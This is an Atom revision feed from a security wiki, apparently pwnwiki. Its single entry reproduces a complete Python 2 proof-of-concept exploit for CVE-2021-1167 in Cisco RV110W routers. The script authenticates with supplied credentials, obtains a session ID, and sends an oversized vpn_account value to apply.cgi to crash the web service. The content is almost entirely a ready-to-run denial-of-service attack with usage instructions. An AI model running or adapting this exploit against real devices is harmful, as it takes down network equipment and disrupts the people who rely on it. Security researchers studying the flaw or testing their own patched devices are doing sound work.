<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-1167_Cisco_RV110W_1.2.1.7_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-1167 Cisco RV110W 1.2.1.7 拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-1167_Cisco_RV110W_1.2.1.7_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-1167_Cisco_RV110W_1.2.1.7_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T12:51:11Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-1167_Cisco_RV110W_1.2.1.7_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=3771&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC) # Date: 2021-01 # Exploit Author: Shizhi He # Vendor Homepage: https://www.cisco.co...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-1167_Cisco_RV110W_1.2.1.7_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=3771&amp;oldid=prev"/>
		<updated>2021-05-31T04:10:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Cisco RV110W 1.2.1.7 - &amp;#039;vpn_account&amp;#039; Denial of Service (PoC) # Date: 2021-01 # Exploit Author: Shizhi He # Vendor Homepage: https://www.cisco.co...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC)&lt;br /&gt;
# Date: 2021-01&lt;br /&gt;
# Exploit Author: Shizhi He&lt;br /&gt;
# Vendor Homepage: https://www.cisco.com/&lt;br /&gt;
# Software Link: https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.1.7&lt;br /&gt;
# Version: V1.2.1.7&lt;br /&gt;
# Tested on: RV110W V1.2.1.7&lt;br /&gt;
# CVE : CVE-2021-1167&lt;br /&gt;
# References: &lt;br /&gt;
# https://github.com/pwnninja/cisco/blob/main/vpn_client_stackoverflow.md &lt;br /&gt;
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-overflow-WUnUgv4U&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
#####&lt;br /&gt;
## Cisco RV110W Remote Stack Overflow.&lt;br /&gt;
### Tested on version: V1.2.1.7 (maybe useable on other products and versions)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
import urllib&lt;br /&gt;
import urllib2&lt;br /&gt;
import getopt&lt;br /&gt;
import json&lt;br /&gt;
import hashlib&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
ssl._create_default_https_context = ssl._create_unverified_context&lt;br /&gt;
&lt;br /&gt;
###&lt;br /&gt;
# Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco&lt;br /&gt;
# This PoC will crash the target HTTP/HTTPS service&lt;br /&gt;
###&lt;br /&gt;
&lt;br /&gt;
#encrypt password&lt;br /&gt;
def enc(s):&lt;br /&gt;
    l = len(s)&lt;br /&gt;
    s += &amp;quot;%02d&amp;quot; % l&lt;br /&gt;
    mod = l + 2&lt;br /&gt;
    ans = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(64):&lt;br /&gt;
  tmp = i % mod&lt;br /&gt;
  ans += s[tmp]&lt;br /&gt;
    return hashlib.md5(ans).hexdigest()&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    print &amp;quot;Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    IP = sys.argv[1]&lt;br /&gt;
    PORT = sys.argv[2]&lt;br /&gt;
    USERNAME = sys.argv[3]&lt;br /&gt;
    PASSWORD = enc(sys.argv[4])    &lt;br /&gt;
    url = 'https://' + IP + ':' + PORT + '/' &lt;br /&gt;
&lt;br /&gt;
    #get session_id by POST login.cgi&lt;br /&gt;
    req = urllib2.Request(url + &amp;quot;login.cgi&amp;quot;)&lt;br /&gt;
    req.add_header('Origin', url)&lt;br /&gt;
    req.add_header('Upgrade-Insecure-Requests', 1)&lt;br /&gt;
    req.add_header('Content-Type', 'application/x-www-form-urlencoded')&lt;br /&gt;
    req.add_header('User-Agent',&lt;br /&gt;
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')&lt;br /&gt;
    req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')&lt;br /&gt;
    req.add_header('Referer', url)&lt;br /&gt;
    req.add_header('Accept-Encoding', 'gzip, deflate')&lt;br /&gt;
    req.add_header('Accept-Language', 'en-US,en;q=0.9')&lt;br /&gt;
    req.add_header('Cookie', 'SessionID=')&lt;br /&gt;
    data = {&amp;quot;submit_button&amp;quot;: &amp;quot;login&amp;quot;,&lt;br /&gt;
            &amp;quot;submit_type&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;gui_action&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;wait_time&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;change_action&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;enc&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
            &amp;quot;user&amp;quot;: USERNAME,&lt;br /&gt;
            &amp;quot;pwd&amp;quot;: PASSWORD,&lt;br /&gt;
            &amp;quot;sel_lang&amp;quot;: &amp;quot;EN&amp;quot;&lt;br /&gt;
            }&lt;br /&gt;
    r = urllib2.urlopen(req, urllib.urlencode(data))&lt;br /&gt;
    resp = r.read()&lt;br /&gt;
    login_st = re.search(r'.*login_st=\d;', resp).group().split(&amp;quot;=&amp;quot;)[1]&lt;br /&gt;
    session_id = re.search(r'.*session_id.*\&amp;quot;;', resp).group().split(&amp;quot;\&amp;quot;&amp;quot;)[1]&lt;br /&gt;
    print session_id&lt;br /&gt;
    &lt;br /&gt;
    #trigger stack overflow through POST vpn_account parameter and cause denial of service&lt;br /&gt;
    req2 = urllib2.Request(url + &amp;quot;apply.cgi;session_id=&amp;quot; + session_id)&lt;br /&gt;
    req2.add_header('Origin', url)&lt;br /&gt;
    req2.add_header('Upgrade-Insecure-Requests', 1)&lt;br /&gt;
    req2.add_header('Content-Type', 'application/x-www-form-urlencoded')&lt;br /&gt;
    req2.add_header('User-Agent',&lt;br /&gt;
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')&lt;br /&gt;
    req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')&lt;br /&gt;
    req2.add_header('Referer', url)&lt;br /&gt;
    req2.add_header('Accept-Encoding', 'gzip, deflate')&lt;br /&gt;
    req2.add_header('Accept-Language', 'en-US,en;q=0.9')&lt;br /&gt;
    req2.add_header('Cookie', 'SessionID=')&lt;br /&gt;
    poc = &amp;quot;a&amp;quot; * 4096&lt;br /&gt;
    data_cmd = {&lt;br /&gt;
            &amp;quot;gui_action&amp;quot;: &amp;quot;Apply&amp;quot;,&lt;br /&gt;
            &amp;quot;submit_type&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;submit_button&amp;quot;: &amp;quot;vpn_client&amp;quot;,&lt;br /&gt;
            &amp;quot;change_action&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;pptpd_enable&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;pptpd_localip&amp;quot;: &amp;quot;10.0.0.1&amp;quot;,&lt;br /&gt;
            &amp;quot;pptpd_remoteip&amp;quot;: &amp;quot;10.0.0.10-14&amp;quot;,&lt;br /&gt;
            &amp;quot;pptpd_account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;vpn_pptpd_account&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
            &amp;quot;vpn_account&amp;quot;: poc,&lt;br /&gt;
            &amp;quot;change_lan_ip&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;netbios_enable&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;mppe_disable&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;importvpnclient&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;browser&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
            &amp;quot;webpage_end&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
            }&lt;br /&gt;
    r = urllib2.urlopen(req2, urllib.urlencode(data_cmd))&lt;br /&gt;
    resp = r.read()&lt;br /&gt;
    print resp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>